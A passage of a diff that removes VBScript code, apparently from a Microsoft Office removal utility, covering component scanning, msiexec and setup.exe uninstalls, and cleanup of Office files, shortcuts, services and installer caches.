-'            sPath = Replace(sPath,"?",":")
-'            fRemoveComponent = NOT dicCompPath.Exists(sPath)
-'        End If
-        If fRemoveComponent Then
-            'Check msidbComponentAttributesPermanent flag
-            If fIsPermanent AND NOT fForce Then fRemoveComponent = False
-            CompVerbose.WriteLine " msidbComponentAttributesPermanent: " & NOT fRemoveComponent
-        End If
-
-        If fRemoveComponent Then
-            CompVerbose.WriteLine " RESULT: Component IN SCOPE for removal"
-            fIsFile = False : fIsFolder = False
-
-            'Component resources go away for this product
-            Err.Clear
-            'Add the component registration key to ensure removal
-            sCompReg = "Installer\Components\"&GetCompressedGuid(ComponentID)&"\"
-            If NOT dicDelRegKey.Exists(sCompReg) Then
-                dicDelRegKey.Add sCompReg,HKCR
-                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
-            End If
-            sCompReg = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"&GetCompressedGuid(ComponentID)&"\"
-            If NOT dicDelRegKey.Exists(sCompReg) Then
-                dicDelRegKey.Add sCompReg,HKLM
-                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
-            End If
-            'Get the component path
-            If sPath = "" Then
-                sPath = LCase(oMsi.ComponentPath(sCompClient,ComponentID))
-                sPath = Replace(sPath,"?",":")
-            End If
-            CompVerbose.WriteLine " Path: " & sPath
-            If Len(sPath) > 4 Then
-                If Left(sPath,1) = "0" Then
-                    'Registry keypath
-
-                    Select Case Left(sPath,2)
-                    Case "00"
-                        sPath = Mid(sPath,5)
-                        hDefKey = HKCR
-                    Case "01"
-                        sPath = Mid(sPath,5)
-                        hDefKey = HKCU
-                    Case "02","22"
-                        sPath = Mid(sPath,5)
-                        hDefKey = HKLM
-                    Case Else
-                        '
-                    End Select
-
-                    'Go for the safe way and just reset the default entry
-                    'compared to deleting the whole key
-                    If Right(sPath,1) = "\" Then sPath = sPath & "(Default)"
-
-                    If NOT dicDelRegKey.Exists(sPath) Then
-                        dicDelRegKey.Add sPath,hDefKey
-                        RegList.WriteLine HiveString(hDefKey)&"\"&sPath
-                    End If
-                Else
-
-                    'File or Folder
-                    If oFso.FileExists(sPath) OR oFso.FolderExists(sPath) Then
-                        If Right(sPath,1) = "\" Then
-                            fIsFolder = True
-                            CompVerbose.WriteLine " Folder check OK"
-                        Else
-                            fIsFile = True
-                            CompVerbose.WriteLine " File check OK"
-                        End If
-                        If fIsFile Then sPath = oFso.GetFile(sPath).ParentFolder
-                        If Not oFolderDic.Exists(sPath) Then
-                            oFolderDic.Add sPath,sPath
-                            FileList.WriteLine sPath & vbTab & "(FOLDER)"
-                        End If
-                        'Get the .msi file
-                        If oFso.FileExists(sScrubDir & "\" & sCompClient & ".msi") Then
-                            sMsiFile = sScrubDir & "\" & sCompClient & ".msi"
-                        Else
-                            sMsiFile = oMsi.ProductInfo(sCompClient,"LocalPackage")
-                        End If
-                        CompVerbose.WriteLine " Set msi file to : " & sMsiFile
-                        If Not Err = 0 Then
-                            CompVerbose.WriteLine " Error: Failed to obtain .msi file for product " & sCompClient
-                            If NOT dicFLError.Exists("Failed to obtain .msi file for product "&sCompClient) Then _
-                                dicFLError.Add "Failed to obtain .msi file for product "&sCompClient, ComponentID
-                            Err.Clear
-                        End If
-                        CompVerbose.Write " Open .msi file for reading returned: "
-                        Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
-
-                        If Err = 0 Then
-                            CompVerbose.WriteLine " SUCCESS"
-                            'Get the component name from the 'Component' table
-                            sQuery = "SELECT `Component`,`ComponentId` FROM Component WHERE `ComponentId` = '" & ComponentID &"'"
-                            Set qView = MsiDb.OpenView(sQuery) : qView.Execute
-                            Set Record = qView.Fetch()
-                            If Not Record Is Nothing Then sComponent = Record.Stringdata(1)
-                            CompVerbose.WriteLine " Obtained ComponentId as: " & sComponent
-
-                            'Get filenames from the 'File' table
-                            sQuery = "SELECT `Component_`,`FileName` FROM File WHERE `Component_` = '" & sComponent &"'"
-                            Set qView = MsiDb.OpenView(sQuery) : qView.Execute
-                            Set Record = qView.Fetch()
-                            Do Until Record Is Nothing
-                                'Read the filename
-                                sFile = Record.StringData(2)
-                                If InStr(sFile,"|") > 0 Then sFile = Mid(sFile,InStr(sFile,"|")+1,Len(sFile))
-                                'sFile = sPath & "\" & sFile
-                                CompVerbose.WriteLine "  File: " & sPath& "\" & sFile
-                                If Not oDic.Exists(sPath & "\" & sFile) Then
-                                    'Exception handler
-                                    fAdd = True
-                                    Select Case UCase(sFile)
-                                    Case "FPERSON.DLL"
-                                        'Catch exception caused by changed .msi keypath authoring logic for smart tags
-                                        For Each prod in oMsi.Products
-                                            If NOT Checkdelete(prod) Then
-                                                If oMsi.FeatureState(prod, "MSTagPluginNamesFiles") = MSIINSTALLSTATE_LOCAL Then
-                                                    fAdd = False
-                                                    Exit For
-                                                End If
-                                            End If
-                                        Next 'prod
-                                    Case Else
-                                    End Select
-                                    If fAdd Then
-                                        CompVerbose.WriteLine "  Added as new file to dictionary"
-                                        oDic.Add sPath & "\" & sFile,sFile
-                                        FileList.WriteLine sFile & vbTab & sPath & "\" & sFile
-                                        If Len(sFile)>4 Then
-                                            sFile = LCase(sFile)
-                                            If Right(sFile,4) = ".exe" Then
-                                                If NOT dicApps.Exists(sFile) Then
-                                                    Select Case sFile
-                                                    Case "setup.exe","ose.exe","osppsvc.exe","explorer.exe"
-                                                    Case Else
-                                                        dicApps.Add sFile,LCase(sPath) & "\" & sFile
-                                                        CompVerbose.WriteLine "  Added to the list of processes that need to be closed."
-                                                    End Select
-                                                End If 'dicApps.Exists
-                                            End If '.exe
-                                        End If 'Len > 4
-                                    End If 'fAdd
-                                End If 'oDic.Exists
-                                Set Record = qView.Fetch()
-                            Loop
-                            Set Record = Nothing
-                            qView.Close
-                            Set qView = Nothing
-                        Else
-                            CompVerbose.WriteLine " Error: Could not read from .msi file"
-                            If NOT dicFLError.Exists("Error: Could not read from .msi file: "&sMsiFile) Then _
-                                dicFLError.Add "Error: Could not read from .msi file: "&sMsiFile, ComponentID
-                            Err.Clear
-                        End If 'Err = 0
-                    Else
-                        CompVerbose.WriteLine " Error: File check FAILED"
-                    End If 'FileExists(sPath)
-                End If
-            End If 'Len(sPath) > 4
-        Else
-            CompVerbose.WriteLine " RESULT: Component NOT in scope for removal"
-            If fAffectedComponent Then
-                'Add the path to the 'Keep' dictionary
-                Err.Clear
-                For Each CompClient In oMsi.ComponentClients(ComponentID)
-                    'Get the component path
-                    sPath = "" : sPath = LCase(oMsi.ComponentPath(CompClient,ComponentID))
-                    sPath = Replace(sPath,"?",":")
-
-                    If Len(sPath) > 4 Then
-                        If Left(sPath,1) = "0" Then
-                            'Registry keypath
-
-                            Select Case Left(sPath,2)
-                            Case "00"
-                                sPath = Mid(sPath,5)
-                                hDefKey = HKCR
-                            Case "01"
-                                sPath = Mid(sPath,5)
-                                hDefKey = HKCU
-                            Case "02","22"
-                                sPath = Mid(sPath,5)
-                                hDefKey = HKLM
-                            Case Else
-                                '
-                            End Select
-                            If NOT dictionaryKeepReg.Exists(LCase(sPath)) Then
-                                dictionaryKeepReg.Add LCase(sPath),hDefKey
-                            End If
-                        Else
-                            'File keypath
-                            If oFso.FileExists(sPath) Then
-                                If NOT dictionaryKeepFolder.Exists(LCase(sPath)) Then dictionaryKeepFolder.Add LCase(sPath)
-                                sPath = LCase(oFso.GetFile(sPath).ParentFolder) & "\"
-                                If NOT dictionaryKeepFolder.Exists(sPath) Then AddKeepFolder sPath
-                            End If
-                            'Folder keypath
-                            If oFso.FolderExists(sPath) Then AddKeepFolder sPath
-                        End If 'Is Registry
-                    End If 'sPath > 4
-                Next 'CompClient
-            End If 'fAffectedComponent
-        End If 'fRemoveComponent
-        Err.Clear
-    Next 'ComponentID
-    On Error Goto 0
-
-    Log " Done" & vbCrLf
-    If dicFLError.Count > 0 Then LogOnly Join(dicFLError.Keys,vbCrLf)
-    If Not oFolderDic.Count = 0 Then arrDeleteFolders = oFolderDic.Keys Else Set arrDeleteFolders = Nothing
-    If Not oDic.Count = 0 Then arrDeleteFiles = oDic.Keys Else Set arrDeleteFiles = Nothing
-End Sub 'ScanComponents
-'=======================================================================================================
-
-
-'Try to remove the products by calling setup.exe
-Sub SetupExeRemoval
-    Dim OseService, Service, TextStream
-    Dim iSetupCnt, RetVal
-    Dim Sku, sConfigFile, sUninstallCmd, sCatalyst, sDll, sDisplayLevel, sNoCancel
-    iSetupCnt = 0
-    If Not dicRemoveSku.Count > 0 Then
-        Log " Nothing to remove for Setup.exe"
-        Exit Sub
-    End If
-
-    'Ensure that the OSE service is *installed, *not disabled, *running under System context.
-    'If validation fails exit out of this sub.
-    Set OseService = oWmiLocal.Execquery("Select * From Win32_Service Where Name like 'ose%'")
-    If OseService.Count = 0 Then Exit Sub
-    For Each Service in OseService
-        If (Service.StartMode = "Disabled") AND (Not Service.ChangeStartMode("Manual")=0) Then Exit Sub
-        If (Not Service.StartName = "LocalSystem") AND (Service.Change( , , , , , , "LocalSystem", "")) Then Exit Sub
-    Next 'Service
-
-    For Each Sku in dicRemoveSku.Keys
-
-        If Sku="CLICK2RUN" Then
-            'Already done
-        Else
-            'Create an "unattended" config.xml file for uninstall
-            If fQuiet Then sDisplayLevel = "None" Else sDisplayLevel="Basic"
-            If fNoCancel Then sNoCancel="Yes" Else sNoCancel="No"
-            Set TextStream = oFso.OpenTextFile(sScrubDir & "\config.xml",FOR_WRITING,True,True)
-            TextStream.Writeline "<Configuration Product=""" & Sku & """>"
-            TextStream.Writeline "<Display Level=""" & sDisplayLevel & """ CompletionNotice=""No"" SuppressModal=""Yes"" NoCancel=""" & sNoCancel & """ AcceptEula=""Yes"" />"
-            TextStream.Writeline "<Logging Type=""Verbose"" Path=""" & sLogDir & """ Template=""Microsoft Office " & Sku & " Setup(*).txt"" />"
-            TextStream.Writeline "<Setting Id=""MSIRESTARTMANAGERCONTROL"" Value=""Disable"" />"
-            TextStream.Writeline "<Setting Id=""SETUP_REBOOT"" Value=""Never"" />"
-            TextStream.Writeline "</Configuration>"
-            TextStream.Close
-            Set TextStream = Nothing
-
-            'Ensure path to setup.exe is valid to prevent errors
-            sDll = ""
-            If RegReadValue(HKLM,REG_ARP & OREGREF & Sku,"UninstallString",sCatalyst,"REG_SZ") Then
-                If InStr(LCase(sCatalyst),"/dll")>0 Then sDll = Right(sCatalyst,Len(sCatalyst)-InStr(LCase(sCatalyst),"/dll")+2)
-                If InStr(sCatalyst,"/")>0 Then sCatalyst = Left(sCatalyst,InStr(sCatalyst,"/")-1)
-                sCatalyst = Trim(Replace(sCatalyst,Chr(34),""))
-                If NOT oFso.FileExists(sCatalyst) Then
-                    sCatalyst = sCommonProgramFiles & "\" & OREF & "\Office Setup Controller\setup.exe"
-                    If NOT oFso.FileExists(sCatalyst) AND f64 Then
-                        sCatalyst = sCommonProgramFilesX86 & "" & OREF & "\Office Setup Controller\setup.exe"
-                    End If
-                End If
-                If oFso.FileExists(sCatalyst) Then
-                    sUninstallCmd = Chr(34) & sCatalyst & Chr(34) & " /uninstall " & Sku & " /config " & Chr(34) & sScrubDir & "\config.xml" & Chr(34) & sDll
-                    iSetupCnt = iSetupCnt + 1
-                    Log " - Calling Setup.exe to remove " & Sku '& vbCrLf & sUninstallCmd
-                    If Not fDetectOnly Then
-                        On Error Resume Next
-                        ' end other instances of setup
-                        EndCurrentInstalls
-                        ' call uninstall
-                        RetVal = oWShell.Run(sUninstallCmd,0,True) : CheckError "SetupExeRemoval"
-                        Log " - Setup.exe returned: " & SetupRetVal(Retval) & " (" & RetVal & ")" & vbCrLf
-                        fRebootRequired = fRebootRequired OR (RetVal = "3010")
-                        On Error Goto 0
-                    Else
-                        Log " -> Removal suppressed in preview mode."
-                    End If
-                Else
-                    Log " Error: Office setup.exe appears to be missing"
-                End If 'RetVal = 0) AND oFso.FileExists
-            End If 'RegReadValue
-        End If
-    Next 'Sku
-    If iSetupCnt = 0 Then Log " Nothing to remove for setup."
-End Sub 'SetupExeRemoval
-'=======================================================================================================
-
-'Invoke msiexec to remove individual .MSI packages
-Sub MsiexecRemoval
-
-    Dim Product
-    Dim i
-    Dim sCmd, sReturn, sMsiProp
-    Dim fRegWipe
-
-    fRegWipe = False
-
-    Select Case OVERSIONMAJOR
-    Case "11"
-        sMsiProp = " REBOOT=ReallySuppress NOLOCALCACHEROLLBACK=1"
-    Case "12"
-        fRegWipe = True
-        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
-    Case "14"
-        fRegWipe = True
-        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
-    Case "15"
-        fRegWipe = True
-        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
-    Case Else
-    End Select
-
-    'Clear up ARP first to avoid possible custom action dependencies
-    If fRegWipe Then RegWipeARP
-
-    'Check MSI registered products
-    'Office System does only support per machine installation so it's sufficient to use Installer.Products
-    i = 0
-    sMsiProp = " MSIRESTARTMANAGERCONTROL=Disable" & sMsiProp
-    For Each Product in oMsi.Products
-        If CheckDeleteEx(Product) Then
-            i = i + 1
-            Log " Calling msiexec.exe to remove " & Product
-            sCmd = "msiexec.exe /x" & Product & sMsiProp
-            If fQuiet AND NOT fBasic Then
-                sCmd = sCmd & " /q"
-            Else
-                sCmd = sCmd & " /qb-"
-            End If
-            sCmd = sCmd & " /l*v+ "&chr(34)&sLogDir&"\Uninstall_"&Product&".log"&chr(34)
-            If NOT fDetectOnly Then
-                ' end other instances of setup
-                EndCurrentInstalls
-
-                'Execute the uninstall
-                LogOnly " - Calling msiexec with '"&sCmd&"'"
-                sReturn = oWShell.Run(sCmd, 0, True)
-                Log " - msiexec returned: " & SetupRetVal(sReturn) & " (" & sReturn & ")" & vbCrLf
-                fRebootRequired = fRebootRequired OR (sReturn = "3010") OR (sReturn = "1618")
-            Else
-                Log "  -> Removal suppressed in preview mode."
-                LogOnly "  -> Command: "&sCmd
-            End If
-        End If 'InScope
-    Next 'Product
-    If i = 0 Then Log " Nothing to remove for msiexec"
-End Sub 'MsiexecRemoval
-'=======================================================================================================
-
-'Remove the OSE (Office Source Engine) service
-Sub RemoveOSE
-    On Error Resume Next
-    Log vbCrLf & "OSE CleanUp"
-    DeleteService "ose"
-    'Delete the folder
-    DeleteFolder sCommonProgramFiles & "\Microsoft Shared\Source Engine"
-    'Delete the registration
-    RegDeleteKey HKLM,"SYSTEM\CurrentControlSet\Services\ose\"
-End Sub 'RemoveOSE
-'=======================================================================================================
-
-
-'File cleanup operations for the Local Installation Source (MSOCache)
-Sub WipeLIS
-    Const LISROOT = "MSOCache\All Users\"
-    Dim LogicalDisks, Disk, Folder, SubFolder, MseFolder, File, Files
-    Dim arrSubFolders
-    Dim sFolder
-    Dim fRemoveFolder
-
-    Log vbCrLf & "LIS CleanUp"
-    'Search all hard disks
-    Set LogicalDisks = oWmiLocal.ExecQuery("Select * From Win32_LogicalDisk WHERE DriveType=3")
-    For Each Disk in LogicalDisks
-        If oFso.FolderExists(Disk.DeviceID & "\" & LISROOT) Then
-            Set Folder = oFso.GetFolder(Disk.DeviceID & "\" & LISROOT)
-            For Each Subfolder in Folder.Subfolders
-                If Len(Subfolder) > 37 Then
-                    If fRemoveAll Then
-                        If  (Mid(Subfolder.Name,27,PRODLEN) = OFFICEID AND Mid(SubFolder.Name,4,2)=OVERSIONMAJOR) OR _
-                            LCase(Right(Subfolder.Name,7)) = OVERSIONMAJOR &".data" Then DeleteFolder Subfolder.Path
-                    Else
-                        If  (Mid(Subfolder.Name,27,PRODLEN) = OFFICEID AND Mid(SubFolder.Name,4,2)=OVERSIONMAJOR) AND _
-                            CheckDelete(UCase(Left(Subfolder.Name,38))) AND _
-                            UCase(Right(Subfolder,1))= UCase(Left(Disk.DeviceID,1))Then DeleteFolder Subfolder.Path
-                    End If
-                End If 'Len > 37
-            Next 'Subfolder
-            If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
-                sFolder = Folder.Path
-                Set Folder = Nothing
-                SmartDeleteFolder sFolder
-            End If
-        End If 'oFso.FolderExists
-    Next 'Disk
-
-    'MSECache
-    If EnumFolders(sProgramFiles,arrSubFolders) Then
-        For Each SubFolder in arrSubFolders
-            If UCase(Right(SubFolder,9))="\MSECACHE" Then
-                ReDim arrMseFolders(-1)
-                Set Folder = oFso.GetFolder(SubFolder)
-                GetMseFolderStructure Folder
-                For Each MseFolder in arrMseFolders
-                    If oFso.FolderExists(MseFolder) Then
-                        fRemoveFolder = False
-                        Set Folder = oFso.GetFolder(MseFolder)
-                        Set Files = Folder.Files
-                        For Each File in Files
-                            If (LCase(Right(File.Name,4))=".msi") Then
-                                If CheckDelete(ProductCode(File.Path)) Then
-                                    fRemoveFolder = True
-                                    Exit For
-                                End If 'CheckDelete
-                            End If
-                        Next 'File
-                        Set Files = Nothing
-                        Set Folder = Nothing
-                        If fRemoveFolder Then SmartDeleteFolder MseFolder
-                    End If 'oFso.FolderExists(MseFolder)
-                Next 'MseFolder
-            End If
-        Next 'SubFolder
-    End If 'oFso.FolderExists
-End Sub 'WipeLis
-'=======================================================================================================
-
-'Wipe files and folders as documented in KB 928218
-Sub FileWipeAll
-    Dim sFolder
-    Dim Folder, Subfolder
-
-    If fForce OR fQuiet OR fPassive Then CloseOfficeApps
-
-    'Handle other services.
-    Select Case OVERSIONMAJOR
-    Case "11"
-    Case "12"
-    Case "14"
-        DeleteService "odserv"
-        DeleteService "Microsoft Office Groove Audit Service"
-        DeleteService "Microsoft SharePoint Workspace Audit Service"
-    Case "15"
-    Case Else
-    End Select
-
-    'User specific files
-    If NOT fKeepUser Then
-        'Delete files that should be backed up before deleting them
-        CopyAndDeleteFile sAppdata & "\Microsoft\Templates\Normal.dotm"
-        CopyAndDeleteFile sAppdata & "\Microsoft\Templates\Normalemail.dotm"
-        sFolder = sAppdata & "\microsoft\document building blocks"
-        If oFso.FolderExists(sFolder) Then
-            Set Folder = oFso.GetFolder(sFolder)
-            For Each Subfolder In Folder.Subfolders
-                If oFso.FileExists(Subfolder & "\blocks.dotx") Then CopyAndDeleteFile Subfolder & "\blocks.dotx"
-            Next 'Subfolder
-            Set Folder = Nothing
-        End If 'oFso.FolderExists(sFolder)
-    End If
-
-    'Run the individual filewipe from component detection first
-    FileWipeIndividual
-    If fC2rInstalled AND NOT fForce Then Exit Sub
-
-    'Take care of the rest
-    DeleteFolder sOInstallRoot
-    DeleteFolder sCommonProgramFiles & "\Microsoft Shared\" & OREF
-    DeleteFile sAllUsersProfile & "\Application Data\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".dat"
-    DeleteFile sAllUsersProfile & "\Application Data\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".bak"
-    DeleteFile sAllUsersProfile & "\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".dat"
-    DeleteFile sAllUsersProfile & "\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".bak"
-    If (fRemoveOspp OR fForce) AND CInt(OVERSIONMAJOR) > 12 Then
-        If CInt(OVERSIONMAJOR) = 15 Then CleanOSPP
-        DeleteService "osppsvc"
-        DeleteFolder sCommonProgramFiles & "\Microsoft Shared\OfficeSoftwareProtectionPlatform"
-        DeleteFolder sAllUsersProfile & "\Microsoft\OfficeSoftwareProtectionPlatform"
-    End If
-    Select Case OVERSIONMAJOR
-    Case "12"
-    Case "14"
-        DeleteFile oWShell.SpecialFolders("AllUsersStartup")&"\OfficeSAS.lnk"
-        DeleteFile oWShell.SpecialFolders("Startup")&"\OneNote 2010 Screen Clipper and Launcher.lnk"
-    Case "15"
-    Case Else
-    End Select
-    DeleteEmptyFolder sCommonProgramFiles & "\Microsoft Shared\" & OREF
-    DeleteEmptyFolder sCommonProgramFiles & "\Microsoft Shared\"
-    DeleteEmptyFolder sProgramFiles & "\Microsoft Office\" & OREF
-    DeleteEmptyFolder sProgramFiles & "\Microsoft Office\"
-
-End Sub 'FileWipeAll
-'=======================================================================================================
-
-'Wipe individual files & folders related to SKU's that are no longer installed
-Sub FileWipeIndividual
-    Dim LogicalDisks, Disk,sc
-    Dim File, Files, XmlFile, scFiles, oFile, Folder, SubFolder, Processes, Process, item
-    Dim sFile, sFolder, sPath, sConfigName, sContents, sProductCode, sLocalDrives,sScQuery
-    Dim sValue, sScRoots
-    Dim arrSubfolders, arrShortCutRoots
-    Dim fKeepFolder, fDeleteSC
-    Dim iRet,iCnt,iPos
-
-    Log vbCrLf & "File CleanUp"
-    If IsArray(arrDeleteFiles) Then
-        If fForce OR fQuiet Then
-            Log " Doing Action: StopOSE"
-            iRet = StopService("ose")
-            Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name like 'ose%.exe'")
-            For Each Process in Processes
-                LogOnly " - Running process : " & Process.Name
-                Log " -> Ending process: " & Process.Name
-                iRet = Process.Terminate()
-            Next 'Process
-            LogOnly " End Action: StopOSE"
-            CloseOfficeApps
-        End If
-        'Wipe individual files detected earlier
-        LogOnly " Removing left behind files"
-        For Each sFile in arrDeleteFiles
-            If oFso.FileExists(sFile) Then DeleteFile sFile
-        Next 'File
-    End If 'IsArray
-
-    'Wipe Catalyst in commonfiles
-    sFolder = sCommonProgramFiles & "\microsoft shared\"&OREF&"\Office Setup Controller\"
-    If EnumFolderNames(sFolder,arrSubFolders) Then
-        For Each SubFolder in arrSubFolders
-            sPath = sFolder & SubFolder
-            If InStr(SubFolder, ".") > 0 Then sConfigName = UCase(Left(SubFolder, InStr(SubFolder, ".") - 1)) Else sConfigName = UCase(Subfolder)
-            If GetFolderPath(sPath) Then
-                Set Folder = oFso.GetFolder(sPath)
-                Set Files = Folder.Files
-                fKeepFolder = False
-                For Each File In Files
-                    If Len(File.Name)>3 Then
-                        If (LCase(Right(File.Name,4))=".xml") Then
-                            If Len(File.Name) >= Len(sConfigName) Then
-                                If (UCase(Left(File.Name,Len(sConfigName)))=sConfigName) Then
-                                    Set XmlFile = oFso.OpenTextFile(File,1)
-                                    sContents = XmlFile.ReadAll
-                                    Set XmlFile = Nothing
-                                    sProductCode = ""
-                                    On Error Resume Next
-                                    sProductCode = Mid(sContents,InStr(sContents,"ProductCode=")+Len("ProductCode=")+1,38)
-                                    On Error Goto 0
-                                    If Len(sProductCode) = 38 Then
-                                        If CheckDelete(sProductCode) Then DeleteFile File.Path Else fKeepFolder = True
-                                    End If
-                                End If 'sConfigName
-                            End If 'Len >=
-                        End If '.xml
-                    End If 'Len(File.Name)>3
-                Next 'File
-                Set Files = Nothing
-                Set Folder = Nothing
-                If Not fKeepFolder Then DeleteFolder sPath
-            End If 'GetFolderPath
-        Next 'SubFolder
-    End If 'EnumFolderNames
-
-    'Wipe Shortcuts
-    If NOT fSkipSD Then
-        On Error Resume Next
-        Log " Searching for shortcuts"
-        CleanShortcuts sAllUsersProfile, True, False
-        CleanShortcuts sProfilesDirectory, True, False
-        On Error Goto 0
-    End If 'NOT SkipSD
-    Err.Clear
-
-End Sub 'FileWipeIndividual
-'=======================================================================================================
-
-'-------------------------------------------------------------------------------
-'   CleanShortcuts
-'
-'   Recursively search all profile folders for Office shortcuts in scope
-'-------------------------------------------------------------------------------
-Sub CleanShortcuts (sFolder, fDelete, fUnPin)
-    Dim oFolder, fld, file, sc, item
-    Dim fDeleteSC
-
-	Set oFolder = oFso.GetFolder(sFolder)
-	' exclude system protected link folders
-    If CBool(oFolder.Attributes AND 1024) Then Exit Sub
-
-    On Error Resume Next
-    For Each fld In oFolder.SubFolders
-        If Err <> 0 Then
-		    CheckError "CleanShortcuts: " & vbTab & sFolder
-        Else
-            CleanShortcuts fld.Path, fDelete, fUnPin
-        End If
-	Next
-    For Each file In oFolder.Files
-		If LCase(Right(file.Path, 4)) = ".lnk" Then
-            fDeleteSC = False
-            LogOnly " check file: " & file.Path
-            set sc = oWShell.CreateShortcut(file.Path)
-            If Err <> 0 Then
-		        CheckError "CleanShortcutsSC: " & vbTab & sFolder
-            Else
-                'Compare if the shortcut target is in the list of executables that will be removed
-                'LogOnly "  - SC.TargetPath: " & sc.TargetPath
-                If Len(sc.TargetPath) > 0 Then
-                    If InStr(sc.TargetPath,"{{") > 0 Then
-                        'Handle Windows Installer shortcuts
-                        If Len(sc.TargetPath) >= InStr(sc.TargetPath,"{{") + 37 Then
-                            If CheckDelete(Mid(sc.TargetPath, InStr(sc.TargetPath,"{{"), 38)) Then fDeleteSC = True
-                        End If
-                    Else
-                        'Handle regular shortcuts
-                        If NOT fBypass_Stage1 Then
-                            ' Compare against results from component scan
-                            For Each item in dicApps.Items
-                                If LCase(sc.TargetPath) = item Then
-                                    LogOnly "  - removing shortcut per match from component detection: " & file.Path
-                                    fDeleteSC = True
-                                    Exit For
-                                End If
-                            Next 'item
-                        Else
-                        End If
-                        If NOT oFso.FileExists(sc.TargetPath) Then
-                            ' Shortcut target does not exist
-                            If InStr (sc.TargetPath, OREF) > 0 Then
-                                LogOnly "  - removing Office shortcut with non-existent target: " & file.Path & " - " & sc.TargetPath
-                                fDeleteSC = True
-                            Else
-                                'LogOnly "  - keep orphaned SC as target is not in scope: " & sc.TargetPath
-                            End If
-                        Else
-                            'LogOnly "  - keep SC as shortcut target does still exist: " & sc.TargetPath
-                        End If
-                    End If
-                End If
-            End If
-            If fDeleteSC Then
-                If Not IsArray(arrDeleteFolders) Then ReDim arrDeleteFolders(0)
-                sFolder = file.Drive & file.Path
-                If Not arrDeleteFolders(UBound(arrDeleteFolders)) = sFolder Then
-                    ReDim Preserve arrDeleteFolders(UBound(arrDeleteFolders) + 1)
-                    arrDeleteFolders(UBound(arrDeleteFolders)) = sFolder
-                End If
-                If fUnPin Then UnPin file
-                If fDelete Then
-                    If fBypass_Stage1 Then UnPin file
-                    DeleteFile file.Path
-                End If
-                fDeleteSC = False
-            End If 'fDeleteSC
-        End If
-	Next
-    On Error Goto 0
-End Sub 'CleanShortcuts
-
-'-------------------------------------------------------------------------------
-'   UnPin
-'
-'   Unpins a shortcut from the taskbar or start menu
-'-------------------------------------------------------------------------------
-Sub UnPin(file)
-    Dim fldItem, verb
-
-    On Error Resume Next
-    Set fldItem = oShellApp.NameSpace(file.ParentFolder.Path).ParseName(file.Name)
-    For Each verb in fldItem.Verbs
-        Select Case Replace(verb, "&", "")
-        Case "Unpin from Taskbar", "Von Taskleiste lösen", "Détacher du barre des tâches", "Détacher de la barre des tâches", "Desanclar de la barra de tareas", "Ta bort från Aktivitetsfältet", "??? ????????(K)", "?? ????? ??(K)", "????????? ?? ?????? ?????"
-            verb.DoIt
-        Case "Unpin from Start Menu", "Vom Startmenü lösen", "Détacher du menu Démarrer", "Détacher de la menu Démarrer"
-            If iVersionNT = 601 Then verb.DoIt
-        End Select
-    Next
-    On Error Goto 0
-End Sub
-
-
-'=======================================================================================================
-
-Sub DelScrubTmp
-
-    On Error Resume Next
-    If oFso.FolderExists(sScrubDir & "\ScrubTmp") Then oFso.DeleteFolder sScrubDir & "\ScrubTmp",True
-
-End Sub 'DelScrubTmp
-'=======================================================================================================
-
-'Ensure there are no unexpected .msi files in the scrub folder
-Sub DeleteMsiScrubCache
-    Dim Folder, File, Files
-
-    Log vbCrLf & "ScrubCache CleanUp"
-    Set Folder = oFso.GetFolder(sScrubDir) : CheckError "DeleteMsiScrubCache"
-    Set Files = Folder.Files
-    For Each File in Files
-        CheckError "DeleteMsiScrubCache"
-        If LCase(Right(File.Name,4))=".msi" Then
-            CheckError "DeleteMsiScrubCache"
-            DeleteFile File.Path : CheckError "DeleteMsiScrubCache"
-        End If
-    Next 'File
-End Sub 'DeleteMsiScrubCache
-'=======================================================================================================
-
-Sub MsiClearOrphanedFiles
-    Const USERSIDEVERYONE = "s-1-1-0"
-    Const MSIINSTALLCONTEXT_ALL = 7
-    Const MSIPATCHSTATE_ALL = 15
-
-    'Error handling inlined
-    On Error Resume Next
-
-    Dim Patch, AllPatches, Product, AllProducts
-    Dim File, Files, Folder
-    Dim sFName, sLocalMsp, sLocalMsi, sPatchList, sMsiList
-
-    Set Folder = oFso.GetFolder(sWinDir & "\Installer")
-    Set Files = Folder.Files
-
-    Log vbCrLf & "Windows Installer cache CleanUp"
-    'Get a complete list of patches
-    Err.Clear
-    Set AllPatches = oMsi.PatchesEx("",USERSIDEVERYONE,MSIINSTALLCONTEXT_ALL,MSIPATCHSTATE_ALL)
-    If Err <> 0 Then
-        CheckError "MsiClearOrphanedFiles (msp)"
-    Else
-        'Fill a comma separated stringlist with all .msp patchfiles
-        For Each Patch in AllPatches
-            sLocalMsp = "" : sLocalMsp = LCase(Patch.Patchproperty("LocalPackage")) : CheckError "MsiClearOrphanedFiles (msp)"
-            sPatchList = sPatchList & sLocalMsp & ","
-        Next 'Patch
-
-        'Delete all non referenced .msp files from %windir%\installer
-        For Each File in Files
-            sFName = "" : sFName = LCase(File.Path)
-            If LCase(Right(sFName,4)) = ".msp" Then
-                If Not InStr(sPatchList,sFName) > 0 Then
-                    'While this is an orphaned file keep the scope of Office only
-                    If InStr(UCase(MspTargets(File.Path)),OFFICEID)>0 Then DeleteFile File.Path
-                End If
-            End If 'LCase(Right(sFName,4))
-        Next 'File
-    End If 'Err=0
-
-    'Get a complete list products
-    Err.Clear
-    Set AllProducts = oMsi.ProductsEx("",USERSIDEVERYONE,MSIINSTALLCONTEXT_ALL)
-    If Err <> 0 Then
-        CheckError "MsiClearOrphanedFiles (msi)"
-    Else
-        'Fill a comma separated stringlist with all .msi files
-        For Each Product in AllProducts
-            sLocalMsi = "" : sLocalMsi = LCase(Product.InstallProperty("LocalPackage")) : CheckError "MsiClearOrphanedFiles (msi)"
-            sMsiList = sMsiList & sLocalMsi & ","
-        Next 'Product
-
-        'Delete all non referenced .msi files from %windir%\installer
-        For Each File in Files
